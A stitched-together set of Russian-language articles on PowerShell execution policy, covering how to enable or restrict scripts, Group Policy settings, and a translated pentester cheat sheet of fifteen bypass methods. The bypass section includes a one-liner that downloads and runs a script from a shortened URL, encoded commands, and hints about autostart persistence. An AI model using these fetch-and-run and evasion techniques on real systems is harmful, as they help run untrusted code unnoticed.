строка:1 знак:1
+ firebase init
+ ~~~~~~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

Выключение запрета выполнения сценариев

Для решения проблемы достаточно выполнить команду Set-ExecutionPolicy unrestricted и выбрать необходимую опцию. В моем случае я выбрал A(это небезопасно!), но можно и рекомендуется выбирать Y, что бы система каждый раз спрашивала разрешение на запуск скриптов.

PS C:_projectsivanscm.name> Set-ExecutionPolicy unrestricted

Изменение политики выполнения
Политика выполнения защищает компьютер от ненадежных сценариев. Изменение политики выполнения может поставить под
угрозу безопасность системы, как описано в разделе справки, вызываемом командой about_Execution_Policies и
расположенном по адресу https:/go.microsoft.com/fwlink/?LinkID=135170 . Вы хотите изменить политику выполнения?
[Y] Да - Y  [A] Да для всех - A  [N] Нет - N  [L] Нет для всех - L  [S] Приостановить - S  [?] Справка
(значением по умолчанию является "N"):A

Включение запрета выполнения сценариев

Для включения запрета выполните Set-ExecutionPolicy Restricted.

Ознакомится подробнее можно в документации на сайте Microsoft.

В настоящее время в каждую Windows предустановлен PowerShell.

PowerShell — это не только консоль предоставляющая доступ к утилитам командной строки, но и мощное средство администрирования и автоматизации. В PowerShell реализовано множество команд и функций, которые могут добавляться как модули устанавливаемым программным обеспечением.

PowerShell поддерживает как выполнение отдельных команд, так и пакетные файлы с набором команд, то есть скрипты. Эти скрипты можно назвать аналогами файлов .bat для оболочки CMD (которая, кстати, по-прежнему доступна в Windows).

Но при попытке запуска скрипта PowerShell вас, вероятно, ждёт неприятный сюрприз. К примеру, моя попытка выполнить файл PowerShell с расширением .ps1:

.Invoke-SMBClient.ps1

Эта команда вызвала ошибку:

.Invoke-SMBClient.ps1 : Невозможно загрузить файл C:UsersMiAlDownloadsInvoke-TheHash-ma
sterInvoke-SMBClient.ps1, так как выполнение сценариев отключено в этой системе. Для получе
ния дополнительных сведений см. about_Execution_Policies по адресу https:/go.microsoft.com/f
wlink/?LinkID=135170.
строка:1 знак:1
+ .Invoke-SMBClient.ps1
+ ~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : Ошибка безопасности: (:) [], PSSecurityException
    + FullyQualifiedErrorId : UnauthorizedAccess

Ключевой является информация:

Невозможно загрузить файл ....ps1, так как выполнение сценариев отключено в этой системе

Причина ошибки в том, что в системе Windows по умолчанию запрещено запускать пакетные файлы, скрипты PowerShell.

Как разрешить в Windows выполнение скриптов PowerShell

Проблема заключается в том, что политика выполнения скриптов запрещает выполнять эти самые скрипты. Узнать текущее значение политики можно командой:

Get-ExecutionPolicy

Для своей системы я получил значение:

Restricted

Чтобы разрешить выполнение файлов с расширением .ps1, то есть чтобы запустить скрипт PowerShell в Windows, выполните команду:

Set-ExecutionPolicy unrestricted

Когда поступит запрос, введите Y.

Данные команды нужно выполнять в PowerShell, а не в CMD.

Как запретить в Windows выполнение скриптов PowerShell

Чтобы вновь включить запрет на выполнение пакетных файлов в PowerShell достаточно выполнить команду:

Set-ExecutionPolicy Restricted

Опасно ли разрешать выполнение файлов со скриптами PowerShell в Windows?

При выполнении команды по изменению политика запуска скриптов каждый раз показывается сообщение:

Изменение политики выполнения
Политика выполнения защищает компьютер от ненадежных сценариев. Изменение политики выполнения может поставить под угрозу безопасность системы, как описано в разделе справки, вызываемом командой about_Execution_Policies и расположенном по адресу https:/go.microsoft.com/fwlink/?LinkID=135170 . Вы хотите изменить политику выполнения?
[Y] Да - Y  [A] Да для всех - A  [N] Н

Предупреждение кажется довольно страшным, но в самой справке, на которую дана ссылка, написано, что данная политика запрета запуска скриптов не является мерой безопасности, поскольку пользователь по-прежнему может выполнить команды одну за другой. Более того, у хакеров есть возможность обойти этот запрет и запустить скрипт даже при отключённой политике.

Как сказано в документации, это мера для предотвращения случайного выполнения скриптов PowerShell и случайных изменений.

То есть в целом изменение этой настройки не уменьшает уровень безопасности системы. Но если вы редко запускаете скрипты PowerShell, то можете установить уровень Restricted, то есть запрет выполнения сценариев.

Ошибка «»Set-ExecutionPolicy» не является внутренней или внешней командой, исполняемой программой или пакетным файлом»

Если при выполнении

C:Windowssystem32>Set-ExecutionPolicy unrestricted

вы получили ошибку

"Set-ExecutionPolicy" не является внутренней или внешней
командой, исполняемой программой или пакетным файлом.

то это означает, что вы запускаете указанную команду в CMD (командная строка Windows), а не в PowerShell. Чтобы ошибка исчезла, откройте PowerShell и выполните команду там.

Смотрите также:

  • Как установить PowerShell 7 в Windows 10
  • Настройка рабочего окружения PowerShell в Windows и Linux
  • Доступен новый Windows Terminal — он потрясающий

Связанные статьи:

  • Не работает DNS через VPN в Windows 10 (РЕШЕНО) (94.4%)
  • Windows 10: нет подключения к Интернету после подключения к VPN-серверу (РЕШЕНО) (94.4%)
  • Ошибка ImageMagick в Windows: «magick: unable to open image »test’: No such file or directory @ error/blob.c/OpenBlob/3565. magick: no decode delegate for this image format `’ @ error/constitute.c/ReadImage/741.» (РЕШЕНО) (94.4%)
  • Проигрыватель Windows не показывает или плохо показывает видео (РЕШЕНО) (81.1%)
  • Ошибка «Файл слишком большой для файловой системы получателя» (РЕШЕНО) (81.1%)
  • Как из-за задержки даже быстрое подключение к Интернету может казаться медленным (RANDOM — 9.1%)

В операционной системе Windows 10 имеется мощный инструмент для управления и выполнения различных задач — это PowerShell. Эта консоль предназначена для администраторов, поскольку она позволяет им контролировать всю операционную систему с помощью сценариев (script). PowerShell используется многими фоновыми приложениями для внесения изменений в систему и это ставит под угрозу безопасность нашего ПК.

Сценарий (script) — простая программа написана в коде, который работает линейно на нашем компьютере. Мы можем создавать и выполнять собственные сценарии для автоматизации задач, или приложения могут выполнять их для выполнения определенных конфигураций и задач. По умолчанию Windows 10 не запрещает ни приложениям, ни нам запускать сценарии в системе, если они подписаны или являются «своими». Проблема возникает, когда мы запускаем свой скрипт, и нам выдает ошибку «Выполнение сценариев отключено в этой системе«. Это многоуровневая мера безопасности в PowerShell, которая предотвращает запуск вредоносных сценариев и может нанести вред системе. Давайте разберем, как изменить политики безопасности для PowerShell.

Политики выполнения скриптов в PowerShell

Если вы увидели ошибку «Выполнение сценариев отключено в этой системе«, то можем проверить конфигурацию политик для запуска сценариев, которые настроены в Windows 10. Откройте PowerShell от имени администратора и:

  • Get-ExecutionPolicy -List

Мы можем видеть несколько уровней разрешений политик для запуска сценариев.

Конфигурация политик powershell

Чтобы изменить политику запуска скрипта, вы должны знать различные уровни привилегий, которые мы можем назначить каждому из областей.

  • Restricted: заблокировано выполнение любых скриптов, но разрешается работа интерактивных команд.
  • RemoteSigned: загруженные скрипты должны быть подписаны доверенным издателем. Локальные скрипты работают без подписи
  • AllSigned: разрешает выполнение любого подписанного скрипта, как локального, так и удаленного (загруженного).
  • Unrestricted: без ограничений. Вы можете запустить все сценарии, даже те, которые не подписаны.

Когда вы знаете условия и ограничения скриптов, то можете изменить их. К примеру, чтобы исправить ошибку «Выполнение сценариев отключено в этой системе» достаточно ввести один апплет. Откройте PowerShell от имени админа и:

channel

  • Set-ExecutionPolicy Unrestricted -Scope CurrentUser — запуск без ограничения для пользователя.
  • Set-ExecutionPolicyRestricted -Scope CurrentUser вернуть назад, если будет нужно.

Разрешает без ограничений выполнять сценарии для локального пользователя. Ключ -Scope определяет, к чему применяется изменение политики. Когда вы вводите «CurrentUser«, то применяется только к текущему пользователю, а когда вы вводите «LocalMachine«, он применяется ко всей системе.

Разрешает без ограничений выполнять сценарии для локального пользователя

Если выше способ не помог вам запустить свой скрипт и ошибка «Выполнение сценариев отключено в этой системе» появляется, то можно снять полностью ограничения. Вы должны понимать, что это большой риск и ваш скрипт должен быть безопасен на 101%. Откройте PowerShell от имени админа и:

  • Set-ExecutionPolicy Unrestricted — разрешить выполнение скриптов без ограничений.
  • Set-ExecutionPolicy Restricted— вернуть назад по умолчанию.

разрешить выполнение скриптов без ограничений


Смотрите еще:

  • Что за папка ProgramData Windows 10
  • Исправить ошибку Boot Device Not Found на ноутбуке или ПК
  • Antimalware Service Executable (MsMpEng) — Грузит Систему
  • Ошибка 0x80070490 в Центре обновления Windows 10
  • Защитник Windows: Ограничить нагрузку на процессор

[ Telegram | Поддержать ]

15 Ways to Bypass the PowerShell Execution PolicyДанный материал является переводом оригинальной статьи «NetSPI : Scott Sutherland : 15 Ways to Bypass the PowerShell Execution Policy».

По умолчанию PowerShell настроен на предотвращение выполнения сценариев PowerShell в системах Windows. Это может быть препятствием для пентестеров, системных администраторов и разработчиков, но это не обязательно. В этой статье я расскажу о 15 способах обхода политики выполнения PowerShell, не имея прав локального администратора в системе. Я уверен, что есть много методов, которые я пропустил (или просто не знаю), но надеюсь, что эта шпаргалка станет хорошим началом для тех, кто нуждается в получении информации о методах обхода.

Что такое политика выполнения PowerShell?

Политика выполнения PowerShell — это параметр, который определяет, какой тип сценариев PowerShell (если они есть) можно запустить в системе. По умолчанию установлено значение «Restricted (Ограничено)», что в основном означает «нет». Однако важно понимать, что этот параметр никогда не предназначался для контроля безопасности. На самом деле он был предназначен для того, чтобы администраторы «не стреляли себе в ногу». Вот почему есть так много вариантов, чтобы обойти этот механизм (в том числе включая несколько вариантов, которые предоставила Microsoft). Для получения дополнительной информации о параметрах политики выполнения и других элементах безопасности по умолчанию в PowerShell я предлагаю прочитать интересный обзор в блоге Карлоса Переса.

Почему я хочу обойти политику выполнения?

Автоматизация кажется одним из наиболее распространенных ответов, которые я слышу от людей, но ниже приведены несколько других причин, по которым PowerShell стал настолько популярным среди администраторов, пентестеров и хакеров.

PowerShell — это:

  • Нативный для Windows механизм;
  • Возможность вызова Windows API;
  • Возможность запуска команд без записи на диск;
  • Возможность избежать обнаружения антивирусным ПО;
  • Уже отнесён как «доверенный» в «белых» списках большинства приложений;
  • Среда, используемая для написания множества инструментов Pentest с открытым исходным кодом.

Как просмотреть политику выполнения

Прежде чем использовать все замечательные функции, которые может предложить PowerShell, придется обойти «ограниченную» политику выполнения. Вы можете посмотреть текущую конфигурацию с помощью команды PowerShell «Get-ExectionPolicy». Если вы смотрите на настройку в первый раз, скорее всего, она установлена на «Restricted», как показано ниже.

Get-ExecutionPolicy

PowerShell Get-ExecutionPolicy

Стоит также отметить, что политика выполнения может быть установлена на разных уровнях в системе. Чтобы просмотреть их список, используйте команду Set-ExecutionPolicy.

Get-ExecutionPolicy -List | Format-Table -AutoSize

PowerShell Execution Policy

Примечания по настройке лаборатории

В приведенных ниже примерах я буду использовать скрипт с именем runme.ps1, который содержит следующую команду PowerShell для записи сообщения в консоль:

Write-Host "My voice is my passport, verify me."

Когда я пытаюсь выполнить его в системе, настроенной с помощью политики выполнения по умолчанию, я получаю следующую ошибку.

PS cant run script

Если ваша текущая политика слишком открыта, и вы хотите сделать ее более строгой, чтобы протестировать приведенные ниже методы, запустите команду из консоли администратора PowerShell:

Set-ExecutionPolicy Restricted

Хорошо, хватит болтовни, ниже приведены 15 способов обойти ограничения политики выполнения PowerShell.

Обход политики выполнения PowerShell

1. Вставка сценария в интерактивную консоль PowerShell

Скопируйте и вставьте сценарий PowerShell в интерактивную консоль, как показано ниже. Однако имейте в виду, что вы будете ограничены привилегиями вашего текущего пользователя. Это самый простой пример, который может быть полезен для запуска быстрых сценариев, когда у вас есть интерактивная консоль. Кроме того, этот метод не приводит к изменению конфигурации и не требует записи на диск

Paste the Script into an Interactive PS Console

2. Отправка сценария в PowerShell через Echo

Просто добавьте ваш сценарий (ECHO) в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Echo Write-Host "My voice is my passport, verify me." | PowerShell.exe -noprofile -

Echo the Script and Pipe it to PS Standard In

3. Считывание скрипта из файла и отправка в стандартный ввод PowerShell

Используйте команду «type» для Windows или PowerShell «Get-Content», чтобы прочитать сценарий с диска и направить его в стандартный ввод PowerShell. Этот метод не приводит к изменению конфигурации, но требует записи вашего скрипта на диск. Однако вы можете прочитать его с общего сетевого ресурса, если пытаетесь избежать записи на локальный диск.

Пример 1: команда Get-Content PowerShell

Get-Content .runme.ps1 | PowerShell.exe -noprofile -

Read PS Script from a File and Pipe to Standard In

Пример 2: команда Type

TYPE .runme.ps1 | PowerShell.exe -noprofile -

Read Script from a File with TYPE and Pipe to PS

4. Скачивание скрипта из URL и выполнение с выражением Invoke

Этот метод можно использовать для загрузки сценария PowerShell из Интернета и его запуска без необходимости записи на диск. Это также не приводит к изменениям конфигурации.

powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

Download Script from URL and Execute with Invoke Expression

5. Использование опции -Command

Этот метод очень похож на выполнение скрипта с помощью копирования и вставки, но это можно сделать без интерактивной консоли. Это удобно для простого выполнения сценария, но более сложные сценарии обычно заканчиваются ошибками синтаксического анализа. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Пример 1: Полная команда

Powershell -command "Write-Host 'My voice is my passport, verify me.'"

Use the Command Switch

Пример 2: Короткая команда

Powershell -c "Write-Host 'My voice is my passport, verify me.'"

Также стоит отметить, что вы можете поместить эти типы команд PowerShell в командные файлы и поместить их в места автозапуска (например, в папку автозагрузки всех пользователей), чтобы помочь во время повышения привилегий.

6. Использование опции -EncodedCommand

Это очень похоже на предыдущую опцию «-Command», но все сценарии предоставляются в виде строки в кодировке Unicode/base64. Такое кодирование вашего сценария помогает избежать всех тех неприятных ошибок синтаксического анализа, с которыми вы сталкиваетесь при использовании «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Образец ниже взят из Posh-SecMod. Этот же инструментарий включает в себя приятный небольшой метод сжатия, позволяющий уменьшить размер закодированных команд, если они становятся слишком длинными.

Пример 1: Полная команда

$command = "Write-Host 'My voice is my passport, verify me.'" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
powershell.exe -EncodedCommand $encodedCommand

Use the EncodeCommand Switch

Пример 2: Короткая команда с использованием закодированной строки

powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcATQB5ACAAdgBvAGkAYwBlACAAaQBzACAAbQB5ACAAcABhAHMAcwBwAG8AcgB0ACwAIAB2AGUAcgBpAGYAeQAgAG0AZQAuACcA
7. Использование команды Invoke-Command

Это забавная опция, с которой я столкнулся в блоге Obscuresec. Обычно он выполняется через интерактивную консоль PowerShell или один вкладыш с помощью опции «-Command». Но интересно то, что его можно использовать для выполнения команд на удаленных системах, в которых включено удаленное взаимодействие PowerShell. Этот метод не приводит к изменению конфигурации и не требует записи на диск.

Invoke-Command -scriptblock {Write-Host "My voice is my passport, verify me."}

Use the Invoke-Command Command

Приведенная ниже команда также может быть использована для получения политики выполнения с удаленного компьютера и ее применения на локальном компьютере.

Invoke-Command -computername Server01 -scriptblock {get-executionpolicy} | Set-executionpolicy -force
8. Использование команды Invoke-Expression

Это еще один способ, который обычно выполняется через интерактивную консоль PowerShell или однострочник с помощью опции «-Command». Этот метод не приводит к изменению конфигурации и не требует записи на диск. Ниже я перечислил несколько распространенных способов использования выражения-выражения для обхода политики выполнения.

Пример 1: Полная команда с использованием Get-Content

Get-Content .runme.ps1 | Invoke-Expression

Use the Invoke-Expression Command

Пример 2: Короткая команда с использованием Get-Content

GC .runme.ps1 | iex
9. Использование флага политики выполнения «Bypass»

Это хороший флаг, добавленный Microsoft, который будет обходить политику выполнения, когда вы выполняете сценарии из файла. Когда этот флаг используется, Microsoft заявляет, что «Ничто не заблокировано и нет предупреждений или подсказок». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1

Use the Bypass Execution Policy Flag

10. Использование флага политики выполнения «Unrestricted»

Это похоже на флаг «Bypass». Однако, когда этот флаг используется, Microsoft заявляет, что «загружает все файлы конфигурации и запускает все сценарии. Если вы запускаете неподписанный скрипт, который был загружен из Интернета, вам будет предложено разрешение перед его выполнением». Этот метод не приводит к изменению конфигурации и не требует записи на диск.

PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1

Use the Unrestricted Execution Policy Flag

11. Использование флага политики выполнения «Remote-Signed»

Создайте сценарий и следуйте инструкциям, написанным Карлосом Пересом, чтобы подписать его. Наконец, запустите его, используя команду ниже:

PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
12. Отключение ExecutionPolicy с заменой AuthorizationManager

Это действительно творческий способ, с которым я столкнулся на nivot.org. Приведенную ниже функцию можно выполнить через интерактивную консоль PowerShell или с помощью опции «-Command». Как только функция вызывается, она заменяет «AuthorizationManager» на Null. В результате политика выполнения, по существу, устанавливается неограниченной на оставшуюся часть сеанса. Этот метод не приводит к постоянному изменению конфигурации и не требует записи на диск. Тем не менее, это изменение будет применяться в течение всего сеанса.

function Disable-ExecutionPolicy {
($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))
}
Disable-ExecutionPolicy  
.runme.ps1

Disable ExecutionPolicy by Swapping out the AuthorizationManager

13. Установка ExcutionPolicy для области действия Process

Как мы видели во введении, политика выполнения может применяться на многих уровнях. Это включает в себя процесс, который вы контролируете. Используя эту технику, политика выполнения может быть установлена неограниченно на время вашей Сессии. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-ExecutionPolicy Bypass -Scope Process

Set the ExcutionPolicy for the Process Scope

14. Установка ExcutionPolicy для области действия CurrentUser с помощью команды

Этот параметр аналогичен области действия процесса, но постоянно применяет этот параметр к среде текущего пользователя, изменяя раздел реестра. Кроме того, это не приводит к изменению конфигурации и не требует записи на диск. Первоначально я нашел эту технику в блоге r007break.

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted

Set the ExcutionPolicy for the CurrentUser Scope via Command

15. Установка ExcutionPolicy для области CurrentUser через реестр

В этом примере я показал, как постоянно изменять политику выполнения для среды текущего пользователя, напрямую изменяя раздел реестра.

HKEY_CURRENT_USERSoftwareMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell

Set the ExcutionPolicy for the CurrentUser Scope via the Registry

Подведение итогов

Ключевым моментом этой стати является то, что политика выполнения не должна быть препятствием для разработчиков, администраторов или пентестеров. Microsoft никогда не позиционировала этот механизм для контроля безопасности. Именно поэтому существует такое множество вариантов обхода данного механизма. Помимо того, что сама Microsoft предоставила некоторые нативные варианты, сообщество безопасности также придумало некоторые оригинальные трюки. Спасибо всем тем людям, которые внесли в это свой вклад через блоги и презентации.

По-умолчанию настройки Windows запрещают запуск скриптов PowerShell. Это необходимо для предотвращения запуска вредоносного кода на PowerShell. Настройки политик запуска PowerShell скриптов определяются в Execution Policy. В этой статье мы рассмотрим доступные политики запуска PS скриптов, как изменить Execution Policy и настроить политики использования PowerShell скриптов на компьютерах в домене.

Содержание:

  • Выполнение PowerShell скриптов запрещено для данной системы
  • Как разрешить запуск скриптов PowerShell с помощью Execution Policy?
  • Настройка PowerShell Execution Policy с помощью групповых политик
  • Способы обхода политики PowerShell Execution

Выполнение PowerShell скриптов запрещено для данной системы

При попытке выполнить PowerShell скрипт (файл с расширением PS1) на чистой Windows 10, появляется ошибка:

File C:ps.ps1 cannot be loaded because running scripts is disabled on this system. For more information, see about_Execution_Policies at https:/go.microsoft.com/fwlink/?LinkID=135170.
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Не удается загрузить файл.ps1, так как выполнение скриптов запрещено для данной системы.

Не удается загрузить файл ps1, так как выполнение скриптов запрещено для данной системы.

Текущее значение политики выполнения скриптов PowerShell на компьютере можно получить командой:

Get-ExecutionPolicy

Get-ExecutionPolicy

Доступны следующие значения PowerShell Execution Policy:

  • Restricted – запрещен запуск скриптов PowerShell, можно выполнять только интерактивные команды в консоли;
  • AllSigned – разрешено выполнять только подписанные PS скрипты с цифровой подписью от доверенного издателя (можно подписать скрипт самоподписанным сертификатом и добавить его в доверенные). При запуске недоверенных скриптов появляется предупреждение:
    Do you want to run software from this untrusted publisher? File .ps1 is published by CN=test1 and is not trusted on your system. Only run scripts from trusted publishers

    вы хотите запустить powershell скрипт от недоверенного издателя?

  • RemoteSigned – можно запускать локальные PowerShell скрипты без ограничения. Можно запускать удаленные PS файлы с цифровой подписью (нельзя запустить PS1 файлы, скачанные из Интернета, запущенные из сетевой папки по UNC пути и т.д.);
  • Unrestricted – разрешен запуск всех PowerShell скриптов;

    При запуске сторонних PowerShell скриптов может появляется предупреждение с подтверждением запуска, см. ниже.

  • Bypass – разрешён запуск любых PS файлов (предупреждения не выводятся) – эта политика обычно используется для автоматического запуска PS скриптов без вывода каких-либо уведомлений (например при запуске через GPO, SCCM, планировщик и т.д.) и не рекомендуется для постоянного использования;
  • Default – сброс настроек выполнения скриптов на стандартную;

    В Windows 10 значение политики выполнения PowerShell по-умолчанию Restricted, а в Windows Server 2016 — RemoteSigned.

  • Undefined – не задано. Применяется политика Restricted для десктопных ОС и RemoteSigned для серверных.

Как разрешить запуск скриптов PowerShell с помощью Execution Policy?

Чтобы изменить текущее значение политики запуска PowerShell скриптов, используется командлет Set-ExecutionPolicy.

Например, разрешим запуск локальных скриптов:

Set-ExecutionPolicy RemoteSigned

Подтвердите изменение политики запуска PS1 скриптов, нажав Y или A.

Set-ExecutionPolicy RemoteSigned разрешить запуск локальных powershell скриптов

Чтобы запрос не появлялся, можно использовать параметр Force.

Set-ExecutionPolicy RemoteSigned –Force

Если вы установили значение политики PowerShell Execution Policy в Unrestricted, то при запуске удаленных скриптов из сетевых каталогов по UNC пути, скачанных из интернета файлов, все равно будет появляться предупреждение:

Security warning
Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the
Unblock-File cmdlet to allow the script to run without this warning message.
Do you want to run?
[D] Do not run [R] Run once [S] Suspend [?] Help (default is "D")

Run only scripts that you trust. While scripts from the internet can be useful, this script can potentially harm your computer. If you trust this script, use the Unblock-File cmdlet to allow the script to run without this warning message

Как PowerShell различает локальные и удаленные скрипты? Все дело в идентификаторе зоны ZoneId, которую выставляет браузер в альтернативном потоке при загрузке файла (см. статью “Как Windows определяет, что файл скачан из Интернета?”). Вы можете разблокировать такой файл, поставив галку “Разблокирвать” в его свойствах или очиститься метку зоны с помощью комадлета Unblock-File.

Также следует различать различные области действия политик выполнения скриптов PowerShell (scopes):

  • MachinePolicy – действует для всех пользователей компьютера, настраивается через GPO;
  • UserPolicy – действует на пользователей компьютера, также настраивается через GPO;
  • Process — настройки ExecutionPolicy действует только для текущего сеанса PowerShell.exe (сбрасываются при закрытии процесса);
  • CurrentUser – политика ExecutionPolicy применяется только к текущему пользователю (параметр из ветки реестра HKEY_CURRENT_USER);
  • LocalMachine – политика для всех пользователей компьютера (параметр из ветки реестра HKEY_LOCAL_MACHINE);

Область применения политики можно указать с помощью параметр Scope командлета Set-ExecutionPolicy. Например:

Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass –Force

Проверим текущие настройки ExecutionPolicy для всех областей:

Get-ExecutionPolicy -List

Scope ExecutionPolicy
----- ---------------
MachinePolicy Undefined
UserPolicy Undefined
Process Bypass
CurrentUser Undefined
LocalMachine RemoteSigned

Get-ExecutionPolicy scopes области действия

Значение политики выполнения, которые вы задаете с помощью командлета Set-ExecutionPolicy для областей CurrentUser и LocalMachine, хранятся в реестре. Например, выполните командлет:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy Restricted –Force

Откройте ветку реестра HKEY_LOCAL_MACHINESOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell и проверьте значение REG_SZ параметра ExecutionPolicy. Оно изменилось на Restricted (допустимые значения параметра Restricted, AllSigned, RemoteSigned, Bypass, Unrestricted и Undefined).

ExecutionPolicy в реестре

Аналогичные настройки для области CurrentUser находятся в разделе реестра пользователя HKEY_CURRENT_USERSOFTWAREMicrosoftPowerShell1ShellIdsMicrosoft.PowerShell.

Отметим, что чаще всего в корпоративной среде используется ExecutionPolicy со значением AllSigned на уровне LocalMachine. Это обеспечивает максимальный баланс между безопасностью и удобством. Для личного пользования на компьютере можно использовать RemoteSigned. Ну а Bypass политику лучше использовать только для запуска отдельных задач (например для запуска скриптов через GPO или заданий планировщика).

Настройка PowerShell Execution Policy с помощью групповых политик

Вы можете настроить политику выполнения PowerShel скриптов на серверах или компьютерах домена с помощью групповых политик.

  1. С помощью редактора доменных GPO (gpmc.msc) создайте новую GPO (или отредактируйте) существующую и назначьте ее на OU с компьютерами, к которым нужно применить политику запуска PowerShell скриптов;
  2. В редакторе политики перейдите в раздел Computer Configuration -> Policies -> Administrative Templates -> Windows Components -> Windows PowerShell и найдите политику Turn on Script Execution (Включить выполнение сценариев);

    Аналогичная политика есть в пользовательском разделе GPO — User Configuration, но политика компьютера имеет приоритет.

  3. Для политики доступны три значения:
    • Allow only signed scripts (Разрешать только подписанные сценарии) — соответствует политике AllSigned;
    • Allow local scripts and remote signed scripts (Разрешать локальные и удаленные подписанные сценарии) — соответствует политике PS RemoteSigned;
    • Allow all scripts (Разрешать все сценарии) — политика Unrestricted. групповая политика Turn on Script Execution
  4. Выберите необходимое значение политики, сохраните GPO и обновите политики на компьютере.
  5. Проверьте, что для области MachinePolicy теперь действуют новые настройки выполнения. политка executionpolicy настроена через ПЗЩ

После настройки политики выполнения через GPO вы не сможете изменить настройки политики выполнения скриптов вручную. При попытке изменить настройки Execution Policy на компьютере, на который применяется такая GPO, появится ошибка:

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope. Due to the override, your shell will retain its current effective execution policy of RemoteSigned. Type "Get-ExecutionPolicy -List" to view your execution policy settings.

Set-ExecutionPolicy : Windows PowerShell updated your execution policy successfully, but the setting is overridden by a policy defined at a more specific scope

Способы обхода политики PowerShell Execution

Есть несколько трюков, которые могут помочь вам, когда нужно запустить на компьютере PowerShell скрипт, не изменяя настройки политики выполнения. Например, я хочу запустить простой PS1 скрипт, который поверяет, что запущен с правами администратора.

Можно с помощью Get-Content получить содержимое скрипта и перенаправить его в стандартныq поток ввода консоли PS.

Get-Content c:pscheck_process_elevation.ps1 | PowerShell.exe -noprofile –

Либо можно запустить новый процесс powershell.exe с политикой выполнения Bypass:

powershell.exe -noprofile -executionpolicy bypass -file c:pscheck_process_elevation.ps1

обход действия powershell execution политики

При разработке PowerShell особое внимание было уделено безопасности. Одной из мер безопасности является наличие политики выполнения (Execution Policy), которая определяет, могут ли скрипты PowerShell выполняться в системе, и если могут, то какие именно.

Для примера возьмем чистую Windows 10, откроем консоль PowerShell и попробуем выполнить простой скрипт. Попытка завершится ошибкой, поскольку, как видно из сообщения, выполнение скриптов в системе запрещено.

Сообщение при попытке выполнить скрипт

Это сработала политика выполнения, и если мы все же хотим выполнить скрипт, то ее необходимо изменить. Выбрать можно одно из следующих значений:

• Restricted — в системе запрещено выполнение любых скриптов, допускается только выполнение отдельных команд. Это политика по умолчанию для клиентских ОС Windows;
• AllSigned — разрешено выполнение только скриптов, имеющих цифровую подпись от доверенного издателя;
• RemoteSigned — для удаленных скриптов требуется наличие цифровой подписи, локальные скрипты выполняются без ограничений. Удаленными считаются скрипты, полученные из удаленных источников (загруженные из интернета, полученные по электронной почте и т.п.), локальными — скрипты, созданные на локальном компьютере. Это политика по умолчанию для серверных ОС Windows;
• Unrestricted — разрешено выполнение любых скриптов, как локальных так и удаленных. При выполнении удаленного скрипта без цифровой подписи будет выдано предупреждение. Это дефолтная и единственно возможная политика для всех ОС, отличных от Windows;
• Bypass — разрешено выполнение любых скриптов, никакие предупреждения и запросы не выводятся;
• Default — сбрасывает политику на значение по умолчанию. Для серверов это RemoteSigned, для клиентов Restricted;
• Undefined — не определено. В случае, если значение политики не определено, то применяется политика Restricted.

Теоретически все понятно, проверим на практике. Для просмотра параметров политики используется командлет Get-ExecutionPolicy, а для  изменения Set-ExecutionPolicy.

Для начала выведем действующую политику выполнения командой:

Get-ExecutionPolicy

Как и ожидалось, текущая политика Restricted. Разрешим выполнение скриптов, установив для политики значение Unrestricted:

Set-ExecutionPolicy Unrestricted -Force

И еще попробуем запустить скрипт. На сей раз он выполнился без ошибок.

изменение политики выполнение на Unrestricted

Политика Unrestricted разрешает выполнение любых скриптов, но у нее все же есть ограничения. Для проверки я подготовил два скрипта, локальный localscript.ps1 и удаленный remotescript.ps1. Сначала запустим локальный, он выполнится без проблем. А вот при запуске удаленного скрипта PowerShell выдаст предупреждение и потребует подтвердить его запуск. При ручном выполнении это не является большой проблемой, а вот в случае автоматического запуска (напр. из планировщика) скрипт может не отработать.

выполнение локального и удаленного скрипта

Теперь изменим политику на Bypass и еще раз запустим удаленный скрипт. На сей раз он просто выполнился, безо всяких сообщений и подтверждений. Bypass удобно использовать в ситуациях, когда скрипт должен гарантированно отработать, причем автоматически, без вмешательства пользователя.

установка политики выполнения Bypass

Следующим пунктом нашего меню идет политика RemoteSigned. Она является наиболее сбалансированной как с точки зрения безопасности, так и удобства использования, поэтому на серверах включена по умолчанию. Установим для политики значение RemoteSigned и проверим ее действие. Локальный скрипт снова выполняется без проблем, а удаленный выдает ошибку, поскольку у него нет подписи.

установка политики выполнения RemoteSigned

У вас может возникнуть вопрос, как именно PowerShell различает локальные и удаленные скрипты. Тут все просто. При загрузке файла приложение (напр. браузер) добавляет файл идентификатор зоны (ZoneId), который и определяет, откуда был взят файл. Идентификатор хранится в альтернативном потоке и имеет значение от 0 до 4:

• Локальный компьютер (0)
• Местная сеть (1)
• Надежные сайты (2)
• Интернет (3)
• Опасные сайты (4)

